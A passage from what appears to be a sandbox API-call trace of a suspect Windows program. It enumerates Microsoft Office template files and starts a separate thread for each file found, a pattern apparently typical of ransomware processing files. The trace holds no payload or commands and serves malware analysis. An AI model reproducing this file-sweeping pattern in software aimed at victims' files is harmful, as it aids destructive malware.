Office\\Templates\\1033\\ADR9.XLT" [0065.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0065.452] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2941e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="APOTHE~1.DOT")) returned 1 [0065.452] wcscmp (_String1="ApothecaryLetter.dotx", _String2=".") returned 1 [0065.452] wcscmp (_String1="ApothecaryLetter.dotx", _String2="..") returned 1 [0065.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cdee8 [0065.452] wcscpy (in: _Dest=0x97cdee8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.452] wcscat (in: _Dest=0x97cdee8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.452] wcscat (in: _Dest=0x97cdee8, _Source="ApothecaryLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" [0065.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1510 [0065.453] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryMergeLetter.dotx", cAlternateFileName="APOTHE~2.DOT")) returned 1 [0065.453] wcscmp (_String1="ApothecaryMergeLetter.dotx", _String2=".") returned 1 [0065.453] wcscmp (_String1="ApothecaryMergeLetter.dotx", _String2="..") returned 1 [0065.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5e08 [0065.453] wcscpy (in: _Dest=0x5ec5e08, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.453] wcscat (in: _Dest=0x5ec5e08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.453] wcscat (in: _Dest=0x5ec5e08, _Source="ApothecaryMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" [0065.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1514 [0065.454] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3462a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", cAlternateFileName="APOTHE~3.DOT")) returned 1 [0065.454] wcscmp (_String1="ApothecaryNewsletter.dotx", _String2=".") returned 1 [0065.454] wcscmp (_String1="ApothecaryNewsletter.dotx", _String2="..") returned 1 [0065.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec5ea8 [0065.454] wcscpy (in: _Dest=0x5ec5ea8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.454] wcscat (in: _Dest=0x5ec5ea8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.454] wcscat (in: _Dest=0x5ec5ea8, _Source="ApothecaryNewsletter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" [0065.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518 [0065.455] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x37879, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="APOTHE~4.DOT")) returned 1 [0065.455] wcscmp (_String1="ApothecaryResume.dotx", _String2=".") returned 1 [0065.455] wcscmp (_String1="ApothecaryResume.dotx", _String2="..") returned 1 [0065.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cdf80 [0065.455] wcscpy (in: _Dest=0x97cdf80, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.456] wcscat (in: _Dest=0x97cdf80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.456] wcscat (in: _Dest=0x97cdf80, _Source="ApothecaryResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" [0065.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x151c [0065.456] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="BILLIN~1.XLT")) returned 1 [0065.456] wcscmp (_String1="BillingStatement.xltx", _String2=".") returned 1 [0065.457] wcscmp (_String1="BillingStatement.xltx", _String2="..") returned 1 [0065.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cdb58 [0065.457] wcscpy (in: _Dest=0x97cdb58, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.457] wcscat (in: _Dest=0x97cdb58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.457] wcscat (in: _Dest=0x97cdb58, _Source="BillingStatement.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" [0065.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdb58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520 [0065.458] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2077f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d23e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieLetter.dotx", cAlternateFileName="BLACKT~1.DOT")) returned 1 [0065.458] wcscmp (_String1="BlackTieLetter.dotx", _String2=".") returned 1 [0065.458] wcscmp (_String1="BlackTieLetter.dotx", _String2="..") returned 1 [0065.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdbf0 [0065.458] wcscpy (in: _Dest=0x97cdbf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.458] wcscat (in: _Dest=0x97cdbf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.458] wcscat (in: _Dest=0x97cdbf0, _Source="BlackTieLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" [0065.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524 [0065.459] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e253ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d2119, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieMergeLetter.dotx", cAlternateFileName="BLACKT~2.DOT")) returned 1 [0065.459] wcscmp (_String1="BlackTieMergeLetter.dotx", _String2=".") returned 1 [0065.459] wcscmp (_String1="BlackTieMergeLetter.dotx", _String2="..") returned 1 [0065.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec5f48 [0065.459] wcscpy (in: _Dest=0x5ec5f48, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.459] wcscat (in: _Dest=0x5ec5f48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.459] wcscat (in: _Dest=0x5ec5f48, _Source="BlackTieMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" [0065.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5f48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528 [0065.460] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2c5ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x96f4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieNewsletter.dotx", cAlternateFileName="BLACKT~3.DOT")) returned 1 [0065.460] wcscmp (_String1="BlackTieNewsletter.dotx", _String2=".") returned 1 [0065.460] wcscmp (_String1="BlackTieNewsletter.dotx", _String2="..") returned 1 [0065.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x5ec5fe8 [0065.460] wcscpy (in: _Dest=0x5ec5fe8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.460] wcscat (in: _Dest=0x5ec5fe8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.460] wcscat (in: _Dest=0x5ec5fe8, _Source="BlackTieNewsletter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" [0065.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x152c [0065.461] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e312190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x6724a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieResume.dotx", cAlternateFileName="BLACKT~4.DOT")) returned 1 [0065.461] wcscmp (_String1="BlackTieResume.dotx", _String2=".") returned 1 [0065.461] wcscmp (_String1="BlackTieResume.dotx", _String2="..") returned 1 [0065.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdc88 [0065.461] wcscpy (in: _Dest=0x97cdc88, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.461] wcscat (in: _Dest=0x97cdc88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.462] wcscat (in: _Dest=0x97cdc88, _Source="BlackTieResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" [0065.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdc88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530 [0065.462] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494000, ftCreationTime.dwHighDateTime=0x1ca582b, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe494000, ftLastWriteTime.dwHighDateTime=0x1ca582b, nFileSizeHigh=0x0, nFileSizeLow=0x4352, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="BLOG~1.DOT")) returned 1 [0065.462] wcscmp (_String1="Blog.dotx", _String2=".") returned 1 [0065.463] wcscmp (_String1="Blog.dotx", _String2="..") returned 1 [0065.463] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e07a18 [0065.463] wcscpy (in: _Dest=0x12e07a18, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.463] wcscat (in: _Dest=0x12e07a18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.463] wcscat (in: _Dest=0x12e07a18, _Source="Blog.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" [0065.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1534 [0065.463] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="BLOODP~1.XLT")) returned 1 [0065.464] wcscmp (_String1="BloodPressureTracker.xltx", _String2=".") returned 1 [0065.464] wcscmp (_String1="BloodPressureTracker.xltx", _String2="..") returned 1 [0065.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec6088 [0065.464] wcscpy (in: _Dest=0x5ec6088, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.464] wcscat (in: _Dest=0x5ec6088, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.464] wcscat (in: _Dest=0x5ec6088, _Source="BloodPressureTracker.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" [0065.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1538 [0065.465] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb72000, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6eb72000, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="CLASSI~1.POT")) returned 1 [0065.465] wcscmp (_String1="ClassicPhotoAlbum.potx", _String2=".") returned 1 [0065.465] wcscmp (_String1="ClassicPhotoAlbum.potx", _String2="..") returned 1 [0065.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab090 [0065.465] wcscpy (in: _Dest=0x97ab090, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.465] wcscat (in: _Dest=0x97ab090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.465] wcscat (in: _Dest=0x97ab090, _Source="ClassicPhotoAlbum.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" [0065.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x153c [0065.466] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b535800, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8b535800, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="CONTEM~1.POT")) returned 1 [0065.466] wcscmp (_String1="ContemporaryPhotoAlbum.potx", _String2=".") returned 1 [0065.466] wcscmp (_String1="ContemporaryPhotoAlbum.potx", _String2="..") returned 1 [0065.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43d930 [0065.466] wcscpy (in: _Dest=0x43d930, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.466] wcscat (in: _Dest=0x43d930, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.466] wcscat (in: _Dest=0x43d930, _Source="ContemporaryPhotoAlbum.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" [0065.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43d930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1540 [0065.467] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x26022, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityLetter.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0065.467] wcscmp (_String1="EquityLetter.Dotx", _String2=".") returned 1 [0065.467] wcscmp (_String1="EquityLetter.Dotx", _String2="..") returned 1 [0065.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e2b3f8 [0065.467] wcscpy (in: _Dest=0x12e2b3f8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.467] wcscat (in: _Dest=0x12e2b3f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.467] wcscat (in: _Dest=0x12e2b3f8, _Source="EquityLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" [0065.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b3f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1544 [0065.468] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x145ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeFax.Dotx", cAlternateFileName="EQUITY~2.DOT")) returned 1 [0065.468] wcscmp (_String1="EquityMergeFax.Dotx", _String2=".") returned 1 [0065.468] wcscmp (_String1="EquityMergeFax.Dotx", _String2="..") returned 1 [0065.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97ab128 [0065.468] wcscpy (in: _Dest=0x97ab128, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.469] wcscat (in: _Dest=0x97ab128, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.469] wcscat (in: _Dest=0x97ab128, _Source="EquityMergeFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" [0065.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1548 [0065.702] FindNextFileW (hFindFile=0x4406a0, lpFindFileData=0x425920) Thread: id = 538 os_tid = 0xf58 [0049.345] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417500 [0049.345] wcscpy (in: _Dest=0x417500, _Source="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0049.345] wcscat (in: _Dest=0x417500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\" [0049.345] wcscat (in: _Dest=0x417500, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*" [0049.346] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424ab0 [0049.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, 